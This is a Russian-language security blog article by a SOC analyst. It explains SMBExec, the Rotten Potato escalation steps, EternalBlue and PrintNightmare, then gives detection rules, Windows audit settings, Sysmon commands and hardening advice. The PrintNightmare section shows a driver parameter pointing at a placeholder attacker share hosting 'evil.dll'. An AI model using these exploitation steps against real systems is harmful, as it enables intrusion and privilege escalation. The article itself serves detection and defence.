Всем привет! Меня зовут Влад Кузнецов, я аналитик SOC в К2 Кибербезопасность. SMB — один из самых распространенных протоколов сетевой коммуникации для безопасного управления файлами и различными службами удаленного сервера. Несмотря на свою незаменимость, протокол SMB может быть отличной лазейкой для хакерских атак. В этой статье я расскажу о принципах эксплуатации и способах детектирования таких уязвимостей, как Potatoes, EternalBlue, PrintNightmare, а также о скрипте SMBExec. В конце материала вы найдете подробную информацию о настройке политик расширенного аудита и список общих рекомендаций по локализации и устранению уязвимостей, связанных с протоколом SMB.
Немного теории: как работает протокол SMB
SMB (Server Message Block) — это сетевой протокол для общего доступа к файлам и другим ресурсам удаленного сервера. Он основан на технологии клиент-сервер и с его помощью приложение или использующий его пользователь могут безопасно читать, создавать и обновлять файлы, запрашивать службы серверных программ в компьютерной сети. А также подключаться к другим ресурсам, принтерам, почтовым ящикам и именованным каналам.
Протокол SMB работает по технологии «запрос-ответ». В этой модели клиент отправляет SMB запрос на сервер, чтобы инициировать соединение. Когда сервер получает запрос, он отвечает, отправляя SMB ответ обратно клиенту и устанавливая необходимый канал связи для двустороннего разговора.
SMB работает на уровне приложений, при этом полагаясь на более низкие сетевые уровни. В более ранних версиях SMB работал поверх Network Basic Input/Output System по протоколу NetBIOS через TCP/IP (NBT). Или на других устаревших протоколах, например, Internetwork Packet Exchange, NetBIOS Extended User Interface. При работе через NBT SMB использовал порты 139 (TCP и UDP), 138 (UDP), 137 (UDP). В настоящее время SMB работает напрямую по TCP/IP и использует порт 445 (TCP и UDP).
Протокол SMB поддерживает различные механизмы аутентификации и авторизации, включая NTLM и Kerberos. Модель механизма защиты SMB в основном идентична модели любого другого варианта SMB-протокола. Она состоит из двух уровней защиты: user-level (пользовательский уровень) и share-level (уровень совместно используемого ресурса).
Аутентификация на уровне user-level означает, что клиент, который пытается получить доступ к ресурсу на сервере, должен иметь username (имя пользователя) и password (пароль).
Аутентификация на уровне share-level означает, что доступ к ресурсу контролируется паролем, установленным конкретно на этот ресурс. В отличие от user-level, этот уровень защиты не требует имя пользователя для аутентификации и не устанавливается никакая уникальность текущего пользователя.
SMBExec
С момента создания в протоколе SMB было выявлено множество уязвимостей, связанных, как правило, с ошибками при его разработке. Одним из популярных инструментов для эксплуатации уязвимостей является Impacket, в котором есть скрипт под названием SMBExec.
Говоря об SMBExec, нельзя не упомянуть утилиту PsExec, которая с помощью протокола SMB передает небольшие бинарные файлы на целевую систему, помещая их в папку C:\Windows. Далее PsExec создает службу с помощью скопированного бинарного файла и запускает её под именем PSEXECSVC. В финальной стадии скопированный бинарный файл открывает RPC-подключение к целевому серверу и затем принимает управляющие команды через cmd-shell Windows, запуская их и перенаправляя ввод и вывод на удаленную машину.
SMBExec работает аналогично PsExec. Главное отличие в том, что PsExec загружает .exe файл в общий ресурс ADMIN$, тогда как SMBExec избегает передачи потенциально детектируемого бинарного файла на целевую машину. Он работает путем создания временной службы (например, «BTOBTO») на целевой машине для выполнения команд через cmd.exe (%COMSPEC%), не оставляя двоичных файлов. Эта служба запускает нативную «Shell» командную строку, перенаправляет вывод в другой файл и затем отправляет его по SMB обратно на машину злоумышленника. Служба после выполненных манипуляций удаляется, т.к используется только один раз для запуска команды.
Несмотря на свой скрытый подход, каждая выполненная команда логируется в журнале событий.
При таком типе подключения команды будут выполняться с задержкой, однако злоумышленнику для поиска интересующей его информации этого достаточно.
Для вывода данных используется smbclient. Smbclient (Python-скрипт в Impacket) позволяет скрытно организовать передачу файлов через FTP поверх SMB.
Способ детектирования SMBExec
Рассмотрим способ детектирования SMBExec. В событии EventID 4697 — A service was installed in the system, необходимо определить какого типа служба создается — легитимная для Windows (Рис. 4) или сторонняя (Рис. 5), посмотрев на поле Service Type. Определенный вид служб, а именно per-user службы (для каждого пользователя), имеют специфические типы, не отраженные в основной таблице значений Service Type. В контексте детектирования важны службы с Service Type 0x10 и 0x110.
Per-user службы запускаются в контексте пользователя, как часть пользовательского сеанса в фоновом режиме, когда он входит в систему. Для создания экземпляров per-user служб система использует шаблоны. Если шаблон именуется, например, UnistoreSvc, то к названию будет добавляться еще и некоторое случайное значение (UnistoreSvc_bd00d6ea) (Рис. 4).
Так можно отделить все встроенные в Windows службы и обращать внимание только на внешние.
Создание и возможное изменение служб отслеживаются по ветке реестра HKLM\System\CurrentControlSet\Services, в которой содержится информация обо всех службах хоста. Каждая подветка — это определенная служба, где находится ключ ImagePath, содержащий в себе полную команду для сервиса. Детектировать такое поведение можно как с помощью Sysmon (Рис. 6), так и с помощью журналов EventLog.
В журнале Security изменения значения ветки реестра можно отследить по событию 4657 — A registry value was modified (Рис. 7).
Для отслеживания факта удаленного создания сервиса, нужно обратить внимание на событие с EventID 5145 (Рис. 8). Это событие доступа к именованному каналу с именем svcctl — интерфейсу, который позволяет управлять сервисами на удаленном устройстве. При использовании svcctl можно получать логи, подобные событиям с EventID 5145, но они будут формироваться, даже если пользователь подключился по RPC напрямую — EventID 5712 (A Remote Procedure Call (RPC) was attempted) (Рис. 9).
В стандартных ситуациях поле Service File Name должно содержать только путь до исполняемого файла и аргументы к нему. Во время атаки поле содержит команду для cmd.exe, скрывающеюся за переменной %COMSPEC%. (Рис. 5 и Рис. 6).
Уязвимость Rotten Potato
Еще одно семейство уязвимостей в протоколе SMB — Potatoes, используемые для повышения привилегий с учетных записей служб Windows до NT AUTHORITY/SYSTEM.
Название этих уязвимостей связано с разной степенью «состояния» картофеля:
-
Hot Potato (Горячий картофель);
-
Rotten Potato (Гнилой картофель);
-
Lonely Potato (Одинокий картофель);
-
Juicy Potato (Сочный картофель);
-
Rogue Potato (Картофель мошенник);
-
Sweet Potato (Сладкий картофель);
-
Generic Potato (Общий картофель).
Рассмотрим атаку при помощи Rotten Potato
Для успешной реализации необходимы 3 пункта:
-
RPC, работающий под NT AUTHORITY/SYSTEM, который будет выполнять аутентификацию на локальном прокси-сервере через вызов API CoGetInstanceFromIStorage.
-
RPC (порт 135), который будет использоваться для ответа на все запросы, выполняемые первым RPC. Он будет использоваться как шаблон.
-
API функция AcceptSecurityContext для локальной эксплуатации NT AUTHORITY/SYSTEM.
Метод проведения атаки Rotten Potato
Шаг 1. Обмануть RPC для аутентификации на прокси-сервере с помощью вызова API CoGetInstanceFromIStorage. В этом вызове указывается адрес и порт прокси сервера злоумышленника. С помощью API CoGetInstanceFromIStorage отправляется запрос на получение экземпляра объекта BITS (Background Intelligent Transfer Service или Фоновая интеллектуальная служба передачи). Данный запрос используется для передачи файлов между клиентом и HTTP-сервером (например, Windows Update и Windows Defender). Запрос на аутентификацию отправляем с адреса 127.0.0.1 по порту 6666 (Rotten Potato).
Шаг 2. LocalSystem отправляет нам NTLM Negotiate на порт 6666 (порт, через который Rotten Potato работает в локальной системе).
Шаг 3. Полученный пакет пересылается по порту 6666 от LocalSystem через RPC на порт 135. Одновременно вызывается функция AcceptSecurityContext, чтобы заставить систему аутентифицировать хост злоумышленника.
Шаги 4-5. RPC и AcceptSecurityContext отвечают с NTLM Challenge (протокол проверки подлинности для аутентификации клиента), в пакете от RPC.
Шаг 6. Поле Reserved заменяется на Reserved из NTLM Challenge в AcceptSecurityContext, чтобы аутентифицировался хост злоумышленника, а не реальный RPC. Модифицированный пакет направляется в LocalSystem.
Шаг 7. LocalSystem получив NTLM Challenge с правильными параметрами отвечает пакетом NLTM Auth, то есть аутентифицирует скомпрометированный хост.
Шаг 8. Вызвав AcceptSecurityContext и передав как аргумент NLTM Auth пакет, можно получить доступ суперпользователя.
Шаг 9. Таким образом, права суперпользователя (NT AUTHORITY/SYSTEM) получены.
Способ детектирования Rotten Potato
Для детектирования уязвимости необходимо обратить внимание на следующие события модуля Sysmon:
-
EventID: 17 Pipe created;
-
EventID: 18 Pipe connected.
Нужно проверить значения полей PipeName (название именованного канала) и Image (директория процесса). Если в поле PipeName присутствует каталог Winsock «*\\Winsock2\\CatalogChangeListener*», а в поле Image процесс, создавший именованный канал, запущен не из директории «*:\\windows\\system32\\*», это повод бить тревогу (Рис. 11 и Рис. 12).
Также стоит обратить внимание на события из журнала Windows EventID 5712 (A Remote Procedure Call (RPC) was attempted) и EventID 5154 (The Windows Filtering Platform has permitted an application or service to listen on a port for incoming connections).
Поля SID, Name, Account Domain, Remote Ip Address, Remote port в EventID 5712 могут указывать на попытку выполнения горизонтального перемещения в случае с Rotten Potato (Рис. 13). Злоумышленник, пытаясь проэксплуатировать данную уязвимость, будет использовать процедуру RPC и отправлять входящие запросы серверу по порту 6666. Заметив данную активность, можно утверждать, что УЗ и хост отправителя были скомпрометированы.
В событии EventID 5154 (Рис. 14) также можно увидеть скомпрометированные хост и порт (поля Source Address и Source Port). Однако более важным IoC-ом здесь выступает поле Application Name, т.к. в нем записана информация о процессе, вызвавшем подозрительную активность. Если имя исполняемого файла похоже на \RottenPotato.exe, стоит срочно принять меры по изоляции хоста.
Уязвимость EternalBlue
Эксплоит EternalBlue, о котором стало известно весной 2017 года, лег в основу получившего широкую известность вируса-шифровальщика Wanna Cry. EternalBlue эксплуатирует уязвимость типа «переполнение буфера» в SMBv1, что позволяет выполнить произвольный код. Среди уязвимых операционных систем Windows 7, Windows Server 2008, Windows XP и даже Windows 10.
Эксплуатация EternalBlue
На первом этапе злоумышленнику нужно найти себе цель. Для этого он может использовать инструменты сканирования, такие как Nmap или Shodan, применять методы таргетированного фишинга или социальной инженерии.
При обнаружении подходящей цели злоумышленник отправляет уязвимой системе пакет данных с вредоносным кодом, который запускает эксплойт, например, при помощи платформы Metasploit Framework (Рис. 15). Технически EternalBlue работает на трех разных ошибках ОС: целочисленное переполнение, приводящее к переполнению буфера, и позволяющее применить heap spraying (атака, использующая ошибки в работе с памятью приложения). В итоге злоумышленник может выполнить shell-код и получить контроль над системой.
Следующий этап — разведка. Взломщик исследует сеть, ищет уязвимые системы и другие потенциальные цели. На этом этапе он может собрать учетные записи со слабыми паролями или данными по умолчанию, внедрить шифровальщика-вымогателя или кейлоггер для перехвата информации пользователей с высокими привилегиями.
Детектирование Eternalblue
Обнаружение эксплоита EternalBlue можно выполнить при помощи средств IDS/IPS. При перехвате вредоносного трафика видно закодированную строку ответа протокола SMBv1, указанную в «echo», а именно: \x4a\x6c\x4a\x6d\x49\x68\x43\x6c\x42\x73\x72\x00, которую можно декодировать в «JlJmIhClBsr». Таким образом можно детектировать попытку применения данного эксплоита.
JlJmIhClBsr — это ошибочно оставленная разработчиками бэкдора (АНБ) цепь. По сути она ни на что не влияет. Когда эксплойт был обнародован, WannaCry, созданный под EternalBlue, также унаследовал эту цепочку. Она имеет только одно применение — служит в качестве подписи или метки для обнаружения сетевой атаки.
Уязвимость в диспетчере очереди печати «PrintNightmare»
Еще одной распространенной уязвимостью является PrintNightmare. Это общее название уязвимости удаленного выполнения кода в службе Print Spooler («spoolsv.exe») в операционных системах Microsoft Windows. Print Spooler — это основной интерфейс, на котором отображен процесс печати документа. Это программа, встроенная в Windows по умолчанию. Она открывается при запуске системы. Принцип работы Print Spooler выглядит примерно следующим образом:
-
Application: приложение создает задачу для печати, вызывая Graphics Device Interface (GDI).
-
GDI включает в себя компоненты графических драйверов Kernel–Mode и User-mode.
-
winspool.drv — интерфейс, который взаимодействует с буфером обмена и предоставляет стабы RPC, необходимые для доступа к серверу.
-
spoolsv.exe — API сервер Spooler. Этот модуль реализует маршрутизацию сообщений поставщику печати с помощью маршрутизатора (spoolss.dll).
-
spoolss.dll на основе имени принтера определяет, какого поставщика печати следует вызывать и передает вызов функции верному поставщику.
Эксплуатация уязвимости PrintNightmare
В первую очередь для успешной эксплуатации атакующему понадобится установить SMB подключение с уязвимым хостом. Для этого на своей машине (с ОС Kali Linux) хакер настраивает определенным образом службу SAMBA, изменяя файл конфигурации smb.conf (Рис. 20).
Говоря об уязвимости PrintNightmare, сперва необходимо рассмотреть принцип работы RpcAddPrinterDriver:
-
Добавление Printer Driver к Server call (Rpc Add Printer Driver).
-
Клиент (хакер) получает связь с принтером для обмена файлами.
-
Клиент (хакер) создает контейнер MS-RPRN (Print System Remote Protocol) Driver, в котором содержится DRIVER_INFO_2. В основном это переменные, которые содержат путь к библиотекам DLL, тип архитектуры и т.д.
-
Клиент (хакер) вызывает: RpcAddPrinterDriver (“<name of print server>”, DriverContainer).
Проверка безопасности. Когда клиент вызовет эту функцию, система проверит, есть ли у него «SeLoadDriverPrivilege», который по умолчанию присваивается администраторам системы.
Обход системы безопасности. Автор публикации уязвимости упомянул, что пользователь может указать следующие параметры в службе Spooler: pDataFile =A.dll; pConfigFile =B.dll; pDriverPath=C.dll. Служба Spooler скопирует A, B, C DLL-файлы в «С: \Windows\System32\spool\drivers\x64\3\new», а затем загрузит их в «C:\Windows\System32\spool\drivers\x64\3».
Далее Windows проверяет, что библиотеки DLL pDataFile и pDriverPath не являются UNC-путями. Однако конфигурационный файл может включать в себя путь UNC. Поэтому хакер имеет возможность выполнить следующее:
pDataFile = A.dll
pConfigFile = \\attacker_share\evil.dll
pDriverPath = C.dll
Это может заставить Windows загружать вредоносную библиотеку (evil.dll), которая была подготовлена хакером.
Таким образом, обход аутентификации происходит следующим образом:
-
Вызывается Rpc Add Printer Driver с предлагаемыми параметрами и UNC-путем, ведущим к вредоносной DLL.
-
Вредоносная библиотека копируется в «C:\Windows\System32\spool\drivers\x64\3\evil.dll».
-
Это вызывает конфликтную ситуацию при запросе, поэтому пользователь вызывает функцию резервного копирования драйверов и копирует старые драйверы (включая его вредоносную DLL) в каталог «C:\Windows\System32\spool\drivers\x64\3\old\1\».
-
Хакер заменяет путь к DLL на этот: «C:\Windows\System32\spool\drivers\x64\3\old\1\evil.dll».
-
Обход системы безопасности был осуществлен — DLL успешно загружается в spoolsv.exe.
Способ детектирования PrintNightmare
Детектировать эксплуатацию PrintNightmare можно двумя способами.
Первый способ заключается в отслеживании специфических событий Windows 5145 (A network share object was checked to see whether client can be granted desired access), в которых обращение происходит к пространству $IPC и именованному каналу spools с маской доступа 0x3 — ReadData (or ListDirectory), WriteData (or AddFile). Для генерации событий 5145 в политике расширенного аудита нужно включить опции: Object Access — Audit Detailed File Share: Success/Failure.
Псевдокод правила может выглядеть так:
event.id = “5145” AND
share.name = \\*\IPC$ AND
mask = “0x3” AND
target = “spoolss”
Для второго способа выявления нужно дополнить описанное выше правило событиями доступа к упомянутым файлам и изменениям ключей реестра. Для этого необходимы события 4663 (An attempt was made to access an object) и 4656 (A handle to an object was requested).
Также необходимо настроить SACL, который будет мониторить обращения к файлам внутри директории \Windows\System32\spool\drivers\x64\3\* и ключам реестра MACHINE\SYSTEM\CurrentControlSet\Control\Print.
Должны получиться следующие SACL:
-
«%SystemRoot%\System32\spool»,0,»S:AR(AU;OISA;DCLCDTCRSDWDWO;;;WD)»
-
«MACHINE\SYSTEM\CurrentControlSet\Control\Print»,0,»D:PAR(A;CI;KA;;;BA)(A;CIIO;KA;;;CO)(A;CI;KA;;;SY)(A;CI;KR;;;BU)(A;CI;KR;;;S-1-15-2-1)S:AR(AU;OICISA;DCLCWPSDWD;;;WD)»
После этого правило можно дополнить следующими условиями:
event.id = “5145” AND
share.name = \\*\IPC$ AND
mask = “0x3” AND
target = “spoolss”
event.id = “4663” AND
process.name = spoolsv.exe AND
type = “registry key” AND
target REGEX “.*\SYSTEM\CurrentControlSet\Control\Print.*”
event.id = “4656” AND
process.name = spoolsv.exe AND
target REGEX “.*windows\system32\spool\drivers.*”
Включение расширенного аудита Windows
Для корректного реагирования на атаки с использованием протокола SMB необходимо настроить расширенный аудит Windows. Он включается при помощи оснастки локальной групповой политики, открыть которую можно при помощи «gpedit.msc» (или «secpol.msc») (Рис. 21). Для групповых политик действия будут выполняться через «gpmc.msc».
Расширенный аудит находится по пути: Конфигурация компьютера / Конфигурация Windows / Параметры безопасности / Конфигурация расширенной политики аудита (Computer Configuration / Windows Settings / Security Settings / Advanced Audit Policy Configuration).
Event ID 4657. Для отслеживания событий «4657 — Значение реестра было изменено» необходимо настроить политику событий аудита «Аудит реестра», установив флаги на «Успех», «Отказ» (Рис. 22).
Event ID 4697. Для отслеживания событий «4697 — В системе установлена служба» необходимо настроить политику событий аудита «Аудит расширения системы безопасности», установив флаг на «Успех» (Рис. 23).
Event ID 5145. Для отслеживания событий «5145 — Объект сетевого общего доступа был проверен на предмет возможности предоставления клиенту требуемого доступа» необходимо настроить политику событий аудита «Аудит сведений об общем файловом ресурсе», установив флаги на «Успех», «Отказ» (Рис. 24).
Event ID 5154. Для отслеживания событий «5154 — Платформа фильтрации Windows разрешила приложению или службе прослушивать порт на предмет входящих подключений» необходимо настроить политику событий аудита «Аудит подключения платформы фильтрации», установив флаг на «Успех» (Рис. 25).
Event ID 5712. Для отслеживания событий «5712 — Была предпринята попытка удаленного вызова процедуры (RPC)» необходимо настроить политику событий аудита «Аудит событий RPC», установив флаги на «Успех», «Отказ» (Рис. 26).
Event ID 7045. Событие «7045 — В системе установлена новая служба» включено в системе по умолчанию. Дополнительных настроек не требуется (Рис. 27).
Еще один способ расширения аудита событий — модуль Sysmon — системная служба Windows и драйвер устройства для мониторинга и регистрации действий системы в журнал событий Windows. Он предоставляет подробные сведения о создании процессов, сетевых подключениях и времени создания файлов.
Для подключения расширенного аудита событий необходимо скачать актуальную версию Sysmon с официального сайта Microsoft. А затем подготовить файл конфигурации и запустить установку на всех аудируемых хостах командой:
Sysmon64.exe -i <имя_конфигурационного_файла> -accepteula
Для обновления конфигурации, в случае внесения в него изменений необходимо выполнить команду:
Sysmon64.exe -с <имя_конфигурационного_файла>
Пример файла конфигурации Sysmon для Event ID 13, Event ID 17, Event ID 18 приведен ниже (Рис. 28, Рис. 29)
Event ID 13
Event ID 17 и Event ID 18
Вывод
Подводя итог, хочу поделиться общим списком рекомендаций для локализации и устранения уязвимостей, связанных с протоколом SMB:
-
Настроить политики расширенного аудита операционных систем. Установить и сконфигурировать модуль Sysmon.
-
Не использовать устаревший сетевой протокол SMBv1.
Примечание: если SMBv1 отключен на устройстве, поддерживающем только SMBv1, доступ к устройству будет невозможен. В таком случае обновить систему.
-
Анализ трафика. SMB — это протокол уровня приложения, который использует TCP/IP в качестве протокола сетевого транспорта. Таким образом, проблемы с SMB могут быть вызваны проблемами TCP/IP.
-
Анализ протокола. Просматривать фактические сведения о протоколе SMB в трассировке сети, чтобы понять, какие именно команды и параметры используются.
-
Включить подписывание пакетов SMB, что позволит получателю подтверждать их подлинность и, таким образом, предотвращать атаки типа «человек посередине».
-
Обновить системные файлы, связанные с SMB. Убедиться, что установлен последний накопительный пакет обновлений.
Примечание: у SMB версий 2 и 3 есть особенность — нельзя отключить SMBv2 или SMBv3 отдельно, т.к. эти версии являются частью одного драйвера.
ссылка на оригинал статьи https://habr.com/ru/articles/892202/
Добавить комментарий